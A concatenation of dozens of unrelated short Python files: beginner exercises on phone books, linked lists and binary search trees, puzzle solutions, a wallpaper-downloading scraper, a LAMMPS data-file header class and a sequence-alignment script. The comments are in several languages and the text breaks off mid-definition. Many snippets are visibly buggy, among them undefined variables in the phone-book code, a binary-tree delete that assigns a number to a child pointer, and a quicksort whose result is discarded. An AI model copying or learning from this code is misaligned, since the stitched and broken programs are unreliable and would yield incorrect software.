sortedNames = list(data.keys())
sortedNames.sort()
for contact in data:
print(format(contact,'15s'), format(data[contact],'>15s'))
print()
def addContacts(data):
contactsToAdd = input('enter new contact: ')
while contactToAdd != '':
numberToAdd = input('enter number for ' + contact + ': ')
#add the contact
if contactToAdd in data: #contact is already in the phone book
overwriteEntry = input(contactToAdd + 'already exists in the phone book, overwrite entry? (y/n)')
if overwriteEntry.strip().lower() == 'y':
data[contactToAdd] = numberToAdd #adds or updates the entry in the dictionary
else: #new entry into the phone book
data[contactToAdd] = numberToAdd #adds or updates the entry in the dictionary
contactToAdd = input('\nenter new contact: ')
def searchByNumber(data):
textToFind = input('enter text to find: ')
while textToFind != '':
#go to work finding 'textToFind' in the dictionary
contacts = list(data.keys())
foundMatch = False
for contact in contacts:
if data[contact].find(textToFind) > -1:
print(contact)
foundMatch = True
#else:
#print(textToFind, 'is not in the contact list')
if foundMatch == False: #or if not foundMath
print(textToFind, 'is not in the contact list')
textToFind = input('enter next text to find: ')
phoneBook = {"tom's office" : "7-3337", "CSci Office" : "7-4107", "UND" : "777-4321"}
#print (phoneBook)
printPhoneBook("initial contacts", phoneBook)
printSortedPhoneBook('sorted initial contacts', phoneBook)
addContacts(phoneBook)
printSortedPhoneBook('sorted contacts after add' , phoneBook)
searchByNumber(phonebook)
|
'''
Elena Corpus
CSCI 160
Tuesday 5-7 pm
writing a program that asks for the length of a line using astriks
'''
#for loops
line_length = int(input("Enter the length of line you wish to draw: "))
for line_length in range(1,line_length + 1):
line_length = "*"
print(line_length, end=' ')
#while loops
print()
print("with while loop")
line_length = int(input("Enter the length of line you wish to draw: "))
count = 1
while count <= line_length:
print("*", end=' ')
count = count + 1
|
TIME_FRAME = 15
for hour in range (9, 12 + 1):
for minute in range (0, 60, TIME_FRAME):
print (format (hour, "2d"), ":", format (minute, "02d"), sep='')
for hour in range (1, 4):
for minute in range (0, 60, TIME_FRAME):
print (format (hour, "2d"), format (minute, "02d"), sep=":")
hour = 4
minute = 0
print (format (hour, "2d"), format (minute, "02d"), sep=":")
print ()
|
def sumavg():
values = []
def avg(value):
values.append(value)
return sum(values) // len(values)
return avg
if __name__ == '__main__':
sa = sumavg()
# 1
print(sa(1))
# 2
print(sa(3))
# 4
print(sa(10))
|
"""
生成器表达式和列表表达式的区别
列表表达式 : [expression]
生成器表达式 : (expression)
"""
generator = (i for i in range(0, 20))
# 延迟生成
print(next(generator))
print(next(generator))
print(next(generator)) |
from collections import deque
"""
deque : 一个线程安全的双向队列
maxlen : 队列最大长度,不可修改
"""
dq = deque(range(0, 10), maxlen=10)
print(dq.popleft())
print(dq.pop())
dq.append("123")
dq.appendleft("abc")
|
import re
from collections.abc import Iterable, Iterator
RE = re.compile("\w+")
class Sentence(Iterable):
def __init__(self, words):
self._words = words
def __iter__(self) -> Iterator:
# 懒正则解析
# 生成器表达式
return (item.group() for item in RE.finditer(self._words))
if __name__ == '__main__':
sentence = Sentence("hello world zzzj 1233 cjj")
# 成功迭代
for word in sentence:
print(word)
|
class MyNumList:
def __init__(self, nums):
assert isinstance(nums, list), "nums必须是一个数组"
self.nums = nums
# +=
def __iadd__(self, other):
self.nums += other.nums
return self
def __imul__(self, other):
min_len = min(len(self.nums), len(other.nums))
for i in range(min_len):
self.nums[i] *= other.nums[i]
return self
def __repr__(self):
return "NumList( {} )".format(self.nums)
nums1 = MyNumList([1, 2])
nums2 = MyNumList([3, 4])
nums1 += nums2
"""
before iadd : NumList( [1, 2] )
after iadd : NumList( [1, 2, 3, 4] )
"""
print(nums1)
nums2 *= MyNumList([2, 5])
"""
before mul : NumList( [3, 4] )
after mul : NumList( [6, 20] )
"""
print(nums2)
|
"""This is the entry point of the program."""
def highest_number_cubed(limit):
number = 0
while True:
number += 1
if number ** 3 > limit:
return number - 1
|
x = 20
y = 5
res = 0
res = x+y
print(res)
res +=x
print(res)
res *=x
print(res)
res /=x
print(res)
res = 5
res%= x
print(res)
res **=x
print(res)
res //=x
print(res) |
class Node:
def __init__(self,data):
self.data = data
self.next = None
class LinkedList:
def __init__(self):
self.start = None
def InsertLast(self,value):
NewNode = Node(value)
if self.start == None:
self.start = NewNode
else:
temp = self.start
while temp.next!=None:
temp = temp.next
temp.next = NewNode
def printMiddel(self):
fast_ptr = self.start
slow_ptr = self.start
if self.start !=None:
while (fast_ptr != None and fast_ptr.next != None):
fast_ptr = fast_ptr.next.next
slow_ptr = slow_ptr.next
print("The middle element is:",slow_ptr.data)
def viewList(self):
if self.start == None:
print("list is empty:")
else:
temp = self.start
while temp:
print(temp.data,end=' ')
temp = temp.next
def deleteFirst(self):
if self.start ==None:
print("list is empty:")
else:
self.start = self.start.next
def deletemiddle(self):
#first i need to know the miidle then i can remove it .
fast_ptr = self.start
slow_ptr = self.start
prev = None
if self.start !=None:
while (fast_ptr != None and fast_ptr.next != None):
fast_ptr = fast_ptr.next.next
prev = slow_ptr
slow_ptr = slow_ptr.next
prev.next = slow_ptr.next
print("After removing the middle linled list is:",self.viewList())
l = LinkedList()
l.InsertLast(10)
l.InsertLast(20)
l.InsertLast(30)
l.InsertLast(40)
l.InsertLast(50)
#l.InsertLast(60)
# #l.deleteFirst()
# l.viewList()
# print()
# l.printMiddel()
l.deletemiddle() |
#binary tree
class BinarySearchTreeNode:
def __init__(self,data):
self.data=data
self.right=None
self.left=None
def add_child(self,data):
if data ==self.data:
return
if data < self.data:
#add data to left subtree:
if self.left:
#you are not in leaf node:
self.left.add_child(data)
else:
#now you are on leaf node:
self.left =BinarySearchTreeNode(data)
else:
#add data to right subtre:
if self.right:
self.right.add_child(data)
else:
self.right =BinarySearchTreeNode(data)
#search the value:
def search(self,value):
if self.data == value:
return True
if value < self.data:
if self.left:
return self.left.search(value)
else:
return False
if value > self.data:
if self.right:
return self.right.search(value)
else:
return False
#print the tree element:
def in_order_traversal(self):
elements=[]
#visit left tree:
if self.left:
elements += self.left.in_order_traversal()
#visit base node
elements.append(self.data)
#visit right tree:
if self.right:
elements += self.right.in_order_traversal()
return elements
#for finding the max and minimum valus in tree:
def find_max(self):
if self.right is None:
return self.data
return self.right.find_max()
def find_min(self):
if self.left is None:
return self.data
return self.left.find_min()
#delete functionality:
def delete(self,val):
if val<self.data:
if self.left:
self.left =self.left.delete(val)
elif val>self.data:
if self.right:
self.right =self.right.delete(val)
else:
if self.right is None and self.left is None:
return None
if self.left is None:
return self.right
if self.right is None:
return self.left
#min_val = self.right.find_min()
#self.data = min_val
#self.right=self.right.delete(min_val)
max_val = self.left.find_max()
self.left =max_val
self.left = self.left.delete(max_val)
return self
def build_tree(elements):
print("printing tree with these elements:",elements)
root = BinarySearchTreeNode(elements[0])
for i in range(1,len(elements)):
root.add_child(elements[i])
return root
if __name__=='__main__':
numbers_tree = build_tree([17, 4, 1, 20, 9, 23, 18, 34])
print("In order traversal gives this sorted list:",numbers_tree.in_order_traversal())
numbers_tree.delete(20)
print("after deleting value from tree:",numbers_tree.in_order_traversal())
|
from information_extraction import answer_question, process_data_from_input_file
def question_answers(question):
print '================================='
print 'Question: ' + question
try:
answer_question(question)
except Exception as e:
print 'Failed to answer this question.'
print '\n'
process_data_from_input_file('assignment_01_grader.data')
question_answers('Who has a dog?') # Bob, Mary, Zach
question_answers('Who is traveling to Japan?') # Sally
question_answers('Who is going to France?') # Bob and Mary
question_answers('Does Bob like Mary?') # Yes
question_answers('When is Sally flying to Mexico?') # In 2020
question_answers('When is Chris traveling to Peru?') # on April 20th
question_answers('Who likes Mary?') # Joe, Bob, Sally, [Chris], Zach
question_answers('Who likes Sally?') # Mary, [Carl]
question_answers('Who likes Michael?') # I don't know.
question_answers('Who does Chris like?') # [Bob, Joe, Mary]
question_answers('Who does Bob like?') # Mary, [Chris]
question_answers("What's the name of Mary's dog?") # Rover
question_answers("Who does Carl like?") # Zach, Mike, Joe, Sally
question_answers("Who likes Zach?") # Carl
question_answers("When is Carl going to Africa?") # In the spring of next year
question_answers("What's the name of Zach's dog?") # Buttercup |
import argparse
import sys
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--x', type=str, default = 'trundle',
help="What is the troll?")
args = parser.parse_args()
sys.stdout.write(str(troll(args)))
def troll(args):
if args.x == 'trundle':
print('im the troll king, king!')
elif args.x == 'trolol':
print('trololooolololololol')
elif args.x == 'troller':
print('9x rpt dis troller hehexd')
if __name__ == "__main__":
main()
|
import urllib
import requests
import bs4
import re
import os
#making a new dir
os.makedirs('Wallhaven', exist_ok=True)
print ('''\n\n
Welcome to the Wallpaper Downloader
With this Script you can download wallpapers from Wallhaven site''')
#fetching latest wallpapers
def latest():
print('''
Downloading Latest Wallpapers from Wallhaven.''')
urllatest = 'https://alpha.wallhaven.cc/latest?page='
return (urllatest, dict())
#fetching top wallpapers
def top():
print('''
Downloading Top Wallpapers from Wallhaven.''')
urltop = 'https://alpha.wallhaven.cc/toplist?page='
return (urltop, dict())
#looking for specific wallpapers
def search():
keyword = input('\n Enter the Keyword : ')
print('''
Downloading Wallpapers related to %s''' %keyword)
urlsearch = 'https://alpha.wallhaven.cc/search?q=' + \
urllib.parse.quote_plus(keyword) + '&page='
return (urlsearch, dict())
#script handler
def main():
select = str(input('''\n
Choose how you want to download the image:
1. Latest Wallpapers
2. Top Wallpapers
3. Search Wallpapers
Enter choice: '''))
while select not in ['1', '2', '3']:
if select != None:
print('\n You entered an incorrect value.')
select = input(' Enter choice again: ')
if select == '1':
BASEURL, cookies = latest()
elif select == '2':
BASEURL, cookies = top()
elif select == '3':
BASEURL, cookies = search()
page_id = int(input('''
How many pages you want to Download ( There are 24 wallpapers on a single page ) : '''))
total_images = str(24 * page_id)
print('''
Number of Wallpapers to Download: %s
Sit Back and Relax :D \n''' %total_images )
for i in range(1, page_id + 1):
url = BASEURL + str(i) # url of the page
urlreq = requests.get(url, cookies=cookies) #response of the url
soup = bs4.BeautifulSoup(urlreq.text, 'lxml') # Complete html
soupid = soup.findAll('a', {'class': 'preview'}) # picking up all the 'preview' classes
res = re.compile(r'\d+') # picking up all the decimal values from the 'preview' links
image_id = res.findall(str(soupid)) # storing all the decimal values
image_extension = ['jpg', 'png', 'bmp']
for j in range(len(image_id)):
currentImage = (((i - 1) * 24) + (j + 1)) #formula for current Image
url = 'http://wallpapers.wallhaven.cc/wallpapers/full/wallhaven-%s.' % image_id[j]
for extension in image_extension:
final_url = url + extension
path = os.path.join('Wallhaven', os.path.basename(final_url))
if not os.path.exists(path):
imgreq = requests.get(final_url, cookies=cookies) #image response
if imgreq.status_code == 200:
print(''' Downloading : %s - %s / %s''' % ((os.path.basename(final_url)), currentImage, total_images))
with open(path, 'ab') as imageFile:
for chunk in imgreq.iter_content(1024):
imageFile.write(chunk)
break
else:
print("%s already exist - %s / %s" % os.path.basename(final_url), currentImage, total_images)
if __name__ == '__main__':
main()
|
import tkinter as tk
from tkinter import messagebox
def komunikat():
zmienna=messagebox.askyesnocancel('Pytanie','czy chcesz wyjść?')
print('koniec')
if zmienna == True:
Aplikacja.destroy ()
return
def komunikat():
return
Aplikacja = tk.Tk()
Aplikacja.geometry ('400x400')
Aplikacja.title ("Nazwa aplikacji")
przycisk1= tk.Button (text='zamknij', command=komunikat).place (x=150, y=200)
przycisk1= tk.Button (text='test', command=komunikat).place (x=150, y=230)
Aplikacja.mainloop()
|
import math
class Vector:
def __init__(self, components):
self.dim = len(components)
self.components = components
def dot_product(self, vector):
if self.dim != vector.dim:
raise ValueError("Dimension mismatch")
product = 0
for i, component in enumerate(self.components):
product += component*vector.components[i]
return product
def norm(self):
"""
Calculates the L2 norm of the vector
:return:
"""
sum_of_squares = 0
for components in self.components:
sum_of_squares += components ** 2
return math.sqrt(sum_of_squares)
def normalize(self):
if self.norm() != 0:
self.components = [elements / self.norm() for elements in self.components]
return self
def calculate_cosine_similarity(self, vector):
return self.dot_product(vector)/(self.norm()*vector.norm())
def __str__(self):
return str(self.components)
|
class NeuralNetwork:
"""
Implementation of an Artificial Neural Network with back propogation.
"""
def __init__(self, learning_rate, layers):
""" Initialize Neural Network parameters
Args:
learning_rate: Learning rate of the neural network
"""
self.learning_rate = learning_rate
self.layers = layers
def feed_forward(self, X):
""" Feed forward of the neural network across the layers
Args:
X: Input training data
y: Input target data
"""
self.X = X
layers = self.layers
for i in range(len(layers)):
current_layer = layers[i]
if i != 0:
previous_layer = layers[i-1]
current_layer.feed_forward(previous_layer.y)
else:
current_layer.feed_forward(X)
self.layers = layers
def back_propogation(self, y):
""" Back propgation of the error across the layers
"""
self.y = y
layers = self.layers
for i in reversed(range(len(layers))):
current_layer = layers[i]
if i != len(layers)-1:
current_layer.back_propogate(layers[i+1], None)
else:
current_layer.compute_error(y)
current_layer.back_propogate(None, y)
self.layers = layers
def update_weights(self):
""" Update all the weights in the layers
"""
layers = self.layers
for layer in layers:
layer.weights += self.learning_rate * layer.d_weights
self.layers = layers
|
# -*- coding: utf-8 -*-
from body_data import Body_data
class Molecule(Body_data):
"""stores the body_data associated with a specific molecule"""
def __init__(self, data, molecule_id):
"""builds the molecule by creating a new body_data object with the atom_style
from the passed in data. the new body_data object extracts the information from
data that correspond to molecule_id. data is a body_data object. molecule_id
is an int that corresponds to a molecule number stored in data"""
Body_data.__init__(self, data.atom_style)
self.extract(data, "molecule", molecule_id) |
# -*- coding: utf-8 -*-
class Header_data(object):
"""stores, reads and writes data in header lines from LAMMPS data files."""
def __init__(self):
"""initializes the data stored in header lines and creates a dictionary
relating the header keywords to the header data"""
self.atom_num = int
self.bond_num = int
self.angle_num = int
self.dihedral_num = int
self.improper_num = int
self.atom_type_num = int
self.bond_type_num = int
self.angle_type_num = int
self.dihedral_type_num = int
self.improper_type_num = int
self.extra_bond_num = int
self.x_dimension = []
self.y_dimension = []
self.z_dimension = []
self.tilt_dimension = []
self._header_keyword_map = {}
self._initialize_header_keyword_map()
def _initialize_header_keyword_map(self): #redo the entire table
"""produces a dictionary relating the header keywords to the header
data"""
self._header_keyword_map["atoms"] = "atom_num"
self._header_keyword_map["bonds"] = "bond_num"
self._header_keyword_map["angles"] = "angle_num"
self._header_keyword_map["dihedrals"] = "dihedral_num"
self._header_keyword_map["impropers"] = "improper_num"
self._header_keyword_map["atom types"] = "atom_type_num"
self._header_keyword_map["bond types"] = "bond_type_num"
self._header_keyword_map["angle types"] = "angle_type_num"
self._header_keyword_map["dihedral types"] = "dihedral_type_num"
self._header_keyword_map["improper types"] = "improper_type_num"
self._header_keyword_map["extra bond per atom"] = "extra_bond_num"
self._header_keyword_map["xlo xhi"] = "x_dimension"
self._header_keyword_map["ylo yhi"] = "y_dimension"
self._header_keyword_map["zlo zhi"] = "z_dimension"
self._header_keyword_map["xy xz yz"] = "tilt_dimension"
def check_header_keyword(self, input):
"""checks if a header keyword is located in input. input is a list
where the header keyword, if stored, will be contained in the last half
of the list. returns true if a header keyword was found in input and
the resulting header keyword as a string. The string is empty if no
header keyword is found"""
#if input is an empty list, no body_keywords can be found, end method
if input == []:
return False, ""
#build list of currently supported body_keywords
header_keywords = [["atoms"], ["bonds"], ["angles"], ["dihedrals"],\
["impropers"], ["atom", "types"], ["bond", "types"], ["angle", "types"],\
["dihedral", "types"], ["improper", "types"], ["xlo", "xhi"],\
["ylo", "yhi"], ["zlo", "zhi"], ["xy", "xz", "yz"],\
["extra", "bond", "per", "atom"]]
#find if any body_keywords are in input
for word_list in header_keywords:
if self._in_header_list(word_list, input):
#build word_list into a string and return results
string = " ".join(i for i in word_list)
return True, string
#no body_keywords were found in input
return False, ""
def _in_header_list(self, list1, list2):
"""list1 is a header keyword and list2 is an input line. Tests if the
header keyword is in the input line. The header keyword will be at the
end of the input line."""
j = len(list2) - 1
for i in range(len(list1) - 1, -1, -1):
if list2[j] != list1[i]:
return False
j -= 1
return True
def get_header_data(self, keyword): #redo this entire thing
"""returns the list or value associated with keyword. keyword is a
header keyword. the association is stored in _header_keyword_map."""
return self.__getattribute__(self._header_keyword_map[keyword])
def set_header_data(self, keyword, value):
"""sets the list or value associated with keyword. keyword is a header
header keyword. the association is stored in _header_keyword_map."""
self.__setattr__(self._header_keyword_map[keyword], value)
def read(self, input, keyword):
"""converts a list of strings into information stored in header_data.
the information corresponds to keyword.
input is a list of strings.
keyword is a header keyword."""
#reading floats
if keyword == 'xlo xhi' or keyword == 'ylo yhi' or keyword == 'zlo zhi'\
or keyword == 'xy xz yz':
self._read_float(input, keyword, len(keyword.split()))
#reading ints
elif keyword == 'atoms' or keyword == 'bonds' or keyword == 'angles' or\
keyword == 'dihedrals' or keyword == 'impropers' or keyword ==\
'atom types' or keyword == 'bond types' or keyword == 'angle types' or\
keyword == 'dihedral types' or keyword == 'improper types' or keyword ==\
'extra bond per atom':
self._read_int(input, keyword)
else:
raise RuntimeError("{0} is not a valid keyword".format(keyword))
def _read_int(self, input, keyword):
"""converts a list of strings to integers. the integers are stored in
the information corresponding to keyword.
input is a list of strings.
keyword is a string."""
#handling single values
self.set_header_data(keyword, int(input[0]))
def _read_float(self, input, keyword, length):
"""converts a list of strings to floats. the floats are stored in
the information corresponding to keyword.
input is a list of strings.
keyword is a string.
length is the number of words in keyword which is used to control how
this method operates."""
#handling lists
if length != 1:
data = self.get_header_data(keyword)
data_len = len(data)
if data_len == 0:
for i in range(length):
data.append(float(input[i]))
elif data_len == length:
for i in range(length):
data[i] = float(input[i])
else:
raise RuntimeError("the data associated with {0} is not valid anymore"\
.format(keyword))
#handling single values
else: #even though this case doesn't currently exist it may exist later
pass
def write(self, keyword):
"""converts the information corresponding to keyword to a string.
keyword is a header keyword."""
return self._write_info(keyword, len(keyword.split()))
def _write_info(self, keyword, length): #requires complete rewriting
"""converts the information corresponding to keyword to a space
separated string. the string contains the keyword at the end of the string.
keyword is a header keyword.
length is the number of words in keyword which is used to control how
this method operates."""
data = self.get_header_data(keyword)
if keyword == 'xlo xhi' or keyword == 'ylo yhi' or keyword == 'zlo zhi'\
or keyword == 'xy xz yz':
if len(data) == length:
return " ".join(str(data[i]) for i in range(len(data))) + ' ' + keyword
else:
raise RuntimeError("the data associated with {0} is not valid anymore"\
.format(keyword))
else:
return "{0} {1}".format(data, keyword)
|
import random
import time
class Caculater:
def __init__(self):
self.operation_num = 3
self.min = -10
self.max = 10
self.max_num = 100
self.min_num = -100
self.operations = ['*', '/', '+', '-']
self.ans = [3, 4, 5, 6]
self.opra_nums = [0]*4
def get_num(self):
return random.randint(self.min_num, self.max_num)
def num_okay(self, ans):
if ans >= 3 and ans <= 6:
return True
else:
return False
def operator_num_okay(self, num):
if abs(num) < 10:
return False, 0, 0
num_list = []
if num % 2 == 0:
num_list = range(10, 1, -1)
else:
num_list = range(2, 11)
for i in num_list:
if abs(i) <= 1:
continue
elif num % i == 0 and abs(num/i) < 11:
chushu, beichushu = i, num/i
if beichushu < 0:
chushu, beichushu = beichushu, chushu
return True, chushu, beichushu
else:
continue
return False, 0, 0
def get_num1_and_num2(self):
time1 = time.time()
while True:
chosed_num_1 = self.get_num()
chosed_num_2 = self.get_num()
operation = random.randint(0, 2)
ans = None
operator = ""
if operation == 0:
ans = chosed_num_1 + chosed_num_2
operator = '+'
elif operation == 1:
ans = chosed_num_1 - chosed_num_2
operator = '-'
num1_okay, self.opra_nums[0], self.opra_nums[1] = self.operator_num_okay(chosed_num_1)
num2_okay, self.opra_nums[2], self.opra_nums[3] = self.operator_num_okay(chosed_num_2)
if self.num_okay(ans) and num1_okay and num2_okay:
print 'used time = %s' % (time.time() - time1)
if self.opra_nums[2] < 0:
self.opra_nums[2] = abs(self.opra_nums[2])
if operator == '+':
operator = '-'
else:
operator = '+'
return self.opra_nums, operator, ans
else:
continue
def test(self):
self.get_num1_and_num2()
if __name__ == '__main__':
gamer = Caculater()
for i in range(100):
gamer.test()
|
"""
ref: https://twitter.com/nikitonsky/status/1443959126338543616?s=08
"""
import numpy as np
from collections import defaultdict
input = [
{"age": 18, "rate": 30},
{"age": 18, "rate": 15},
{"age": 50, "rate": 35}
]
def calculate_avg_rate(input: list) -> dict:
result = dict()
collected_dict = defaultdict(list)
for i in input:
collected_dict[i["age"]].append(i["rate"])
for a in collected_dict:
result[a] = np.array(collected_dict[a]).mean()
return result
print(calculate_avg_rate(input)) |
##Counts the number of inversions (reversals of position from sorted order)
##in the input file whilst sorting the array using mergesort.
def merge_and_count_split_inv(b, c):
sorted_list = []
count = 0
i = 0
j = 0
len_b = len(b)
len_c = len(c)
while i < len_b and j < len_c:
if b[i] <= c[j]:
sorted_list.append(b[i])
i += 1
else:
sorted_list.append(c[j])
j += 1
count += len_b - i
sorted_list += b[i:]
sorted_list += c[j:]
return sorted_list, count
def sort_and_count(array):
if len(array) == 1:
return array, 0
else:
middle = len(array) // 2
b, x = sort_and_count(array[:middle])
c, y = sort_and_count(array[middle:])
d, z = merge_and_count_split_inv(b, c)
return d, (x + y + z)
def read_array():
f = open("IntegerArray.txt", "r+")
array = []
for line in f:
array.append(int(line))
f.close()
return array
if __name__ == "__main__":
array = read_array()
print sort_and_count(array)[1]
|
def split_join():
#Описание: данная программа принимает на ввод строку - на выходе заменяет пробелы
#на нижние подчеркивания, при этом удаляет лишние пробелы, если их было несколько,
#и вместо n-го количества пробелов заменяет на один знак '_'
a = input('')
print('_'.join(a.split()))
split_join()
|
def bigger_price(limit,data):
from operator import itemgetter
max_price = sorted(data, key = itemgetter('price'),reverse=True)
return(max_price[0:limit])
print(bigger_price(2,[{'name':'kakawka', 'price':30},{'name':'zalypa','price':10},
{'name':'sychara','price':20
}])) |
class Restraunt():
def __init__(self, name, food, drink, starry_restraunt):
self.name = name
self.food = food
self.drink = drink
self.starry_restraunt = starry_restraunt
def seats(self):
self.seat = 100
print('Ресторан ' + self.name + ' имеет ' + str(self.seat)+' посадочных мест')
def working_hours(self):
self.work = 24
print('Ресторан ' + self.name + ' работает ' + str(self.work) + ' часов')
def number_of_matching(self):
self.number = 100
print('В ресторане ' + self.name + ' работает' + str(self.number) + ' соотрудников')
class Hookah(Restraunt):
'''Создаем дочерний класс кальян от класса ресторан'''
def __init__(self, name, food, drink, starry_restraunt):
super().__init__(name, food, drink, starry_restraunt)
self.sort = 'Virginia'
def order_a_hookah(self):
print('Прошу принести кальян с табаком ' + self.sort)
eleon = Hookah('Bygaga','LOL','ALALAL', 6)
eleon.order_a_hookah()
eleon.seats()
print(eleon.sort)
|
def quicksort(x):
if len(x) == 1 or len(x) == 0:
return x
else:
pivot = x[0]
i = 0
for j in range(len(x) - 1):
if x[j + 1] < pivot:
x[j + 1], x[i + 1] = x[i + 1], x[j + 1]
i += 1
x[0], x[i] = x[i], x[0]
a1 = quicksort(x[:i])
a2 = quicksort(x[i + 1:])
a1.append(x[i])
return a1 + a2
list1 = [54, 26, 93, 17, 77, 31, 44, 55, 20]
quicksort(list1)
print(list1)
|
def matchSequence(a, b):
if a == b:
return True
else:
return False
gapPenalty = int(input('Unesite koliko zelite da bodujete prazninu: '))
matchScore = int(input('Unesite koliko zelite da bodujete pogodak: '))
mismatchScore = int(input('Unesite koliko zelite da bodujete promasaj: '))
with open('string11.txt', 'r') as f:
str1 = f.read()
with open('string22.txt', 'r') as f:
str2 = f.read()
tmp = str1 if len(str1) > len(str2) else str2
str2 = str1 if len(str1) < len(str2) else str2
str1 = tmp
columns, rows = len(str1) + 2, len(str2) + 2
#Setting a matrix
matrix = [[0 for x in range(columns)] for y in range(rows)]
matrix[0][1] = ' '
matrix[0][2:] = str1[:]
matrix[1][0] = ' '
for x in range(2, rows):
matrix[x][0] = str2[x-2]
#Scoring the matrix
for x in range(2, rows):
matrix[x][1] = matrix[x-1][1] + gapPenalty
for x in range(2, columns):
matrix[1][x] = matrix[1][x-1] + gapPenalty
for x in range(2, rows):
for y in range(2, columns):
matrix[x][y] = max(matrix[x-1][y] + gapPenalty, \
matrix[x][y-1] + gapPenalty, \
matrix[x-1][y-1] + matchScore if matchSequence(matrix[x][0], matrix[0][y]) else matrix[x-1][y-1] + mismatchScore)
#printing the matrix
print('Matrica skora:')
for i in range(0, rows):
for j in range(0, columns):
if i == 0 and j == 0:
print("", end = '\t')
continue
print("{0:>5}".format(matrix[i][j]), end = '\t')
print()
print()
result1 = str1
result2 = ''
i = rows - 1
j = columns - 1
#best global alignment in matrix using back-tracking pointers
while i != 1 and j != 1:
scoreDiagonal = matrix[i - 1][j - 1] + matchScore if matchSequence(matrix[i][0], matrix[0][j]) else matrix[i-1][j-1] + mismatchScore
scoreLeft = matrix[i][j - 1] + gapPenalty
scoreUp = matrix[i - 1][j] + gapPenalty
if matrix[i][j] == scoreDiagonal:
result2 = str2[i-2] + result2
i -= 1
j -= 1
continue
if matrix[i][j] == scoreUp:
result2 = '-' + result2
i -= 1
continue
if matrix[i][j] == scoreLeft:
result2 = '-' + result2
j -= 1
continue
#filling result if loop not break on (1,1)
result2 = '-'*(j-1) + result2
result2 = '-'*(i-1) + result2
print('Poravnanje sekvenci: ')
print(result1)
print(result2) |
import sys
class Card:
def __init__(self, rank, suit):
self.rank = rank
self.suit = suit
@classmethod
def from_position(cls, position):
"""
Given a number from 1 to 52, creates the card in the correct position assuming the deck
is sorted by alphabetical suits and then in ace-high ranks.
"""
suits = ['Clubs', 'Diamonds', 'Hearts', 'Spades']
ranks = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'Jack', 'Queen', 'King', 'Ace']
suit = suits[(position-1) // 13]
rank = ranks[(position-1) % 13]
return cls(rank, suit)
def __repr__(self):
return '{} of {}'.format(self.rank, self.suit)
def shuffle():
num_cases = int(sys.stdin.readline())
sys.stdin.readline() # Skip blank line
for case_num in range(num_cases):
if case_num != 0:
print() # Blank line
# Read input
num_shuffles = int(sys.stdin.readline())
# Read shuffles
shuffles = []
count = num_shuffles * 52
while count:
data = [int(i) for i in sys.stdin.readline().split()]
count -= len(data)
shuffles.extend(data)
shuffles = [shuffles[x:x+52] for x in range(0, len(shuffles), 52)] # Split into sets of 52
result = list(range(1, 52+1))
# Read shuffles to apply until we reach a blank line
line = sys.stdin.readline()
while not line.isspace() and line != '':
shuffle = shuffles[int(line) - 1]
# Apply the shuffle
previous = result.copy()
for i, new_position in enumerate(shuffle):
result[i] = previous[new_position-1]
line = sys.stdin.readline()
# Print card names
for idx in result:
print(Card.from_position(idx))
shuffle()
|
import sys
#Find the perfect squares with a given number of digits
def getQuirksomeSquares():
#Start by getting the perfect squares
squares = {2:[], 4:[], 6:[], 8:[]}
num = 0;
square = num*num
while square < 1e8:
squares[8].append(square)
if square < 1e6:
squares[6].append(square)
if square < 1e4:
squares[4].append(square)
if square < 1e2:
squares[2].append(square)
num += 1
square = num*num
#Filter to only include quirksome squares - note that format(x, '08') pads up to 8 zeros
def isQuirksome(n, digits):
string_n = format(n, '0' + str(digits))
return (int(string_n[:(digits//2)]) + int(string_n[-(digits//2):])) ** 2 == n
for digits, square_nums in squares.items():
temp = filter(lambda x:isQuirksome(x, digits), square_nums)
squares[digits] = list(map(lambda x:format(x, '0' + str(digits)), temp))
return squares
def main():
squares = getQuirksomeSquares()
for line in sys.stdin:
n = int(line)
for s in squares[n]:
print(s)
if __name__ == '__main__':
main()
|
# The sequence of triangle numbers is generated by adding the natural numbers. So the 7th triangle number would be 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28. The first ten terms would be:
#
# 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ...
# Let us list the factors of the first seven triangle numbers:
# 1: 1
# 3: 1,3
# 6: 1,2,3,6
# 10: 1,2,5,10
# 15: 1,3,5,15
# 21: 1,3,7,21
# 28: 1,2,4,7,14,28
# We can see that 28 is the first triangle number to have over five divisors.
#
# What is the value of the first triangle number to have over five hundred divisors?
target = 123 # upper limit gone upto 8200
triangular = []
naturalDivisors = []
i = 0
j = 0
while i < target:
j = j + i
triangular.append(j)
naturalDivisors.append(0)
i = i + 1
j = 1
# higest number supported by Int is
# 4611686018427387904
# set between 12000 - 12170
i = 0 # index of triangular value to be tested (highest so far is 9307)
while i in range(len(triangular)):
divisor = [0]
while j * j <= triangular[i]: # split it half recursively
# remainder = triangular[i] % j
# result = triangular[i] / j
# if (remainder == 0):
if triangular[i] % j == 0:
divisor.append(j)
j = j + 1
print(i, j, triangular[i], len(divisor), (len(divisor) * 2))
# print(i)
j = 1
i = i + 1
# if (divisor.count >= lookingFor):
# lookingFor = divisor.count
# print(triangular[i], naturalDivisors[i], naturalDivisors.index(of: lookingFor))
# break;
# print(triangular)
# print(naturalDivisors)
# print(naturalDivisors.max()!,naturalDivisors.index(of: naturalDivisors.max()!)!)
|
def succ(Z):
return Z+1
def pred(Z):
if Z>=1:
return Z-1
else:
return 0
# macro resta acotada
def resta(X,Y):
Z=0;
while Z!=Y:
X=pred(X)
Z=succ(Z)
return X
# Con la macro del producto, la resta y la asignacion
"""
He de contar hasta cuando puedo elevar 10 a un numero sin pasarme de la X
pues log_10(X)=Y, 10^Y<=X
Para ello he de ver a que numero puedo exponenciar el 10 sin pasarme de X
X3<- Calculo la exponenciacion de 10
X4<- Resto X1 a X3
X2<- Cuento las veces que puedo calcular X4, es decir las veces que puedo restar
a X1, X3.
"""
def main(X1,X2,X3,X4,X5,X6):
# log_10(0) indeterminacion --> Bucle infinito
X6=pred(X1)
X6=succ(X6)
while X1!=X6:
X2=0
"""Otra forma de hacerlo sin emplear mas variables
X2=1;
X2=resta(X2,X1)
While X2!=X3:
X3=0
"""
# X2-> Cuento las veces que puedo restar X4 - X3, logaritmo
# X3-> Calculo la potencia 10^0=1
# X4-> Resto
X1=succ(X1)
X3=1
X4=resta(X1,X3)
while X4!=X5:
X2=succ(X2)
X3=X3*10
X4=resta(X1,X3)
X1=pred(X2)
return X1
def log10(X):
return main(X,0,0,0,0,0)
print log10(1100)
print log10(10)
print log10(150)
print log10(1)
#print log10(0)
|
def succ(Z):
